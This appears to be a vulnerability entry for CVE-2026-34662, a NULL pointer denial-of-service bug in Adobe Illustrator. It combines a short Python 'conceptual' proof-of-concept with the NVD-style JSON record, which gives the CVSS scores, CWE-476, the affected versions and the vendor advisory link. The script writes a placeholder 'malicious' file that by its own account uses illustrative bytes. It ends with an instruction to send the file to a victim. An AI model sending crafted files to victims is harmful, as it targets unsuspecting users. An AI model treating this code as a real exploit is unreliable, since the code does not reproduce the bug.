CVE-2026-34662

# PoC for CVE-2026-34662 (Conceptual) # This script demonstrates the creation of a file designed to trigger the crash. # Specific byte patterns are illustrative. def create_malicious_illustrator_file(filename): # In a real exploit, this structure would contain specific malformed headers # or object references that cause Illustrator to dereference a null pointer. # Example: Malformed header that bypasses initial checks but fails later header = b'\x25\x50\x44\x46\x00\x00\x00\x00' # Fake PDF/AI header # Malformed block simulating a null object reference null_ref_block = b'\x00\x00\x00\x00' * 100 with open(filename, 'wb') as f: f.write(header + null_ref_block) print(f"[+] Malicious file generated: {filename}") print("[*] Delivery: Send file to victim and wait for them to open in Illustrator.") if __name__ == "__main__": create_malicious_illustrator_file('cve_2026_34662_poc.ai')

{"cve": {"id": "CVE-2026-34662", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:11.123", "lastModified": "2026-05-12T19:15:50.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Illustrator versions 29.8.6, 30.3 and earlier are affected by a NULL Pointer Dereference vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:illustrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "29.0", "versionEndExcluding": "29.8.7", "matchCriteriaId": "56AE3CDD-A779-4A9D-A50B-C956B3311FB3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:illustrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "30.0", "versionEndExcluding": "30.4", "matchCriteriaId": "2B1BBF11-4ED3-463B-A870-05A929AFAFFB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/illustrator/apsb26-51.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}